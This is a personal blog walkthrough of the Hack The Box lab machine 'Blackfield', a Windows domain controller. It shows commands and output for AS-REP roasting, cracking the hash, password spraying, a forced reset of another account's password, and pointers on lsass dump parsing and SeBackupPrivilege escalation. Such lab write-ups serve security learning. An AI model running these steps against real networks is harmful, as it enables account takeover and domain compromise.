---
title: "HTB(W) - Blackfield"
date: 2024-07-03
draft: false
---

this is a hard box so im probably going to cry

```bash
┌──(root㉿kali)-[~/box/blackfield]
└─# nmap -sC -A -p- -T4 10.10.10.192                      
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 01:18 EDT
Nmap scan report for 10.10.10.192
Host is up (0.050s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-03 12:19:46Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m00s
| smb2-time: 
|   date: 2024-07-03T12:19:55
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

TRACEROUTE (using port 53/tcp)
HOP RTT      ADDRESS
1   46.41 ms 10.10.14.1
2   47.84 ms 10.10.10.192

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 143.19 seconds
```

smbclient has a list of directories that appear to be usernames, so we spit those out into a users file

looking at wadcoms lets try and use getnpusers and see if we can get a hash to login 
```bash
python3 GetNPUsers.py test.local/ -dc-ip 10.10.10.1 -usersfile usernames.txt -format hashcat -outputfile hashes.txt
```

```bash
$krb5asrep$23$support@BLACKFIELD.LOCAL:646871058ae54031d95a19f6ecfc2797$f38d26155045c90da23d214089d3cc0907bfbe4c374c906f7e49034581c0a72be6566036bf0f7b7a09ac53e1933d877106cf6433ba3bdc25941679f0483ad525728e32a7e010d2c78f538a3ee9dab15df5738ca6336f29d6d1b3f488ea980c231809dfff95e769f7aa3b13057630190b6e2691728b41c3f3952ef8888428c45182ce2bd686bed58ddab0a650cc548908ee218c40a63001380fd98d2f0221c784ad559c70977b2f202d89a4234c180d0d18b81ffaf1aa5dd3dda06db3a6ca6b32f2478eafda612602e4ad1b3e07b0b5e1d4c1ea35dfab604df33df52744c7e7adf4a67734fae4f0c7458c4b7f45911d18cf52aff1
```
VERY COOL 

hashcat grabbed this one pretty quick: 
```bash
#00^BlackKnight
```

```bash
┌──(root㉿kali)-[~/box/blackfield]
└─# nxc smb blackfield.local -u support -p \#00^BlackKnight
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight 
                                                                                                                                                                                                                   
┌──(root㉿kali)-[~/box/blackfield]
└─# evil-winrm -i blackfield.local -u support -p \#00^BlackKnight
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
                                        
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
                                        
Error: Exiting with code 1

```
ofc it wasnt going to be that easy
i wonder if i can pass this password around and see if it matches any other users

```bash
┌──(root㉿kali)-[~/box/blackfield]
└─# nxc smb blackfield.local -u users.txt -p \#00^BlackKnight
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\AAlleni:#00^BlackKnight (Guest)
```

```bash
┌──(root㉿kali)-[~/box/blackfield]
└─# nxc smb blackfield.local -u users.txt -p \#00^BlackKnight --continue-on-success
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\AAlleni:#00^BlackKnight (Guest)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\ABarteski:#00^BlackKnight (Guest)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\ABekesz:#00^BlackKnight (Guest)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\ABenzies:#00^BlackKnight (Guest)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\ABiemiller:#00^BlackKnight (Guest)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\AChampken:#00^BlackKnight (Guest)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\ACheretei:#00^BlackKnight (Guest)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\ACsonaki:#00^BlackKnight (Guest)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\AHigchens:#00^BlackKnight (Guest)

```
ok, interesting
```bash
SMB         10.10.10.192    445    DC01             [-] BLACKFIELD.local\audit2020:#00^BlackKnight STATUS_LOGON_FAILURE 
```
this sticks out though

```bash
SMB         10.10.10.192    445    DC01             Share           Permissions     Remark
SMB         10.10.10.192    445    DC01             -----           -----------     ------
SMB         10.10.10.192    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.10.192    445    DC01             C$                              Default share
SMB         10.10.10.192    445    DC01             forensic                        Forensic / Audit share.
SMB         10.10.10.192    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.10.192    445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.10.192    445    DC01             profiles$       READ            
SMB         10.10.10.192    445    DC01             SYSVOL          READ            Logon server share 

```
looks like we have a new share to look at

```bash
ldapsearch -x -b "dc=blackfield,dc=local" -H ldap://10.10.10.192 -D "cn=support,dc=blackfield,dc=local" -W
```

```bash
[python3 rpcdump.py test.local/john:password123@10.10.10.1](https://wadcoms.github.io/wadcoms/Impacket-RPCDump/)
```

rpcdump gave us some information, but not totally clear what we can do with it 

we can change AUDIT2020's password, so lets do that

![](/img/Pasted image 20240703181122.png)

```┌──(root㉿kali)-[~]
└─# net rpc password "audit2020" "P@ssw0rd2024" -U "BLACKFIELD"/"SUPPORT"%"#00^BlackKnight" -S 10.10.10.192
```

```bash
┌──(root㉿kali)-[~]
└─# nxc smb 10.10.10.192 -u audit2020 -p 'P@ssw0rd2024'   
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\audit2020:P@ssw0rd2024 
                                                                                                    
```
very very cool 

```bash
smb: \commands_output\> ls
  .                                   D        0  Sun Feb 23 13:14:37 2020
  ..                                  D        0  Sun Feb 23 13:14:37 2020
  domain_admins.txt                   A      528  Sun Feb 23 08:00:19 2020
  domain_groups.txt                   A      962  Sun Feb 23 07:51:52 2020
  domain_users.txt                    A    16454  Fri Feb 28 17:32:17 2020
  firewall_rules.txt                  A   518202  Sun Feb 23 07:53:58 2020
  ipconfig.txt                        A     1782  Sun Feb 23 07:50:28 2020
  netstat.txt                         A     3842  Sun Feb 23 07:51:01 2020
  route.txt                           A     3976  Sun Feb 23 07:53:01 2020
  systeminfo.txt                      A     4550  Sun Feb 23 07:56:59 2020
  tasklist.txt                        A     9990  Sun Feb 23 07:54:29 2020

                5102079 blocks of size 4096. 1669070 blocks available
smb: \commands_output\> cd ../memory_analysis
smb: \memory_analysis\> ls
  .                                   D        0  Thu May 28 16:28:33 2020
  ..                                  D        0  Thu May 28 16:28:33 2020
  conhost.zip                         A 37876530  Thu May 28 16:25:36 2020
  ctfmon.zip                          A 24962333  Thu May 28 16:25:45 2020
  dfsrs.zip                           A 23993305  Thu May 28 16:25:54 2020
  dllhost.zip                         A 18366396  Thu May 28 16:26:04 2020
  ismserv.zip                         A  8810157  Thu May 28 16:26:13 2020
  lsass.zip                           A 41936098  Thu May 28 16:25:08 2020
  mmc.zip                             A 64288607  Thu May 28 16:25:25 2020
  RuntimeBroker.zip                   A 13332174  Thu May 28 16:26:24 2020
  ServerManager.zip                   A 131983313  Thu May 28 16:26:49 2020
  sihost.zip                          A 33141744  Thu May 28 16:27:00 2020
  smartscreen.zip                     A 33756344  Thu May 28 16:27:11 2020
  svchost.zip                         A 14408833  Thu May 28 16:27:19 2020
  taskhostw.zip                       A 34631412  Thu May 28 16:27:30 2020
  winlogon.zip                        A 14255089  Thu May 28 16:27:38 2020
  wlms.zip                            A  4067425  Thu May 28 16:27:44 2020
  WmiPrvSE.zip                        A 18303252  Thu May 28 16:27:53 2020

                5102079 blocks of size 4096. 1669070 blocks available
smb: \memory_analysis\> cd ../tools
smb: \tools\> ls
  .                                   D        0  Sun Feb 23 08:39:08 2020
  ..                                  D        0  Sun Feb 23 08:39:08 2020
  sleuthkit-4.8.0-win32               D        0  Sun Feb 23 08:39:03 2020
  sysinternals                        D        0  Sun Feb 23 08:35:25 2020
  volatility                          D        0  Sun Feb 23 08:35:39 2020
```

we have an lsass memory dump so lets use pypykatz to go through it

we login with svc_backup with seBackupPrivilege rights. we can copy whatever files we want, but we can't read some. we have to use this privilege to privesc to administrator
https://github.com/giuliano108/SeBackupPrivilege/tree/master


### lessons
probably a good practice to use bloodhound whenever possible
if you get a lsass dump, pump it into pypykatz
whenever you get a whole big ass list of hashes, put them into a big file and spray them all against known users. 
DANGEROUS PRIVILEGE: SeBackupPrivilege             Back up files and directories  Enabled
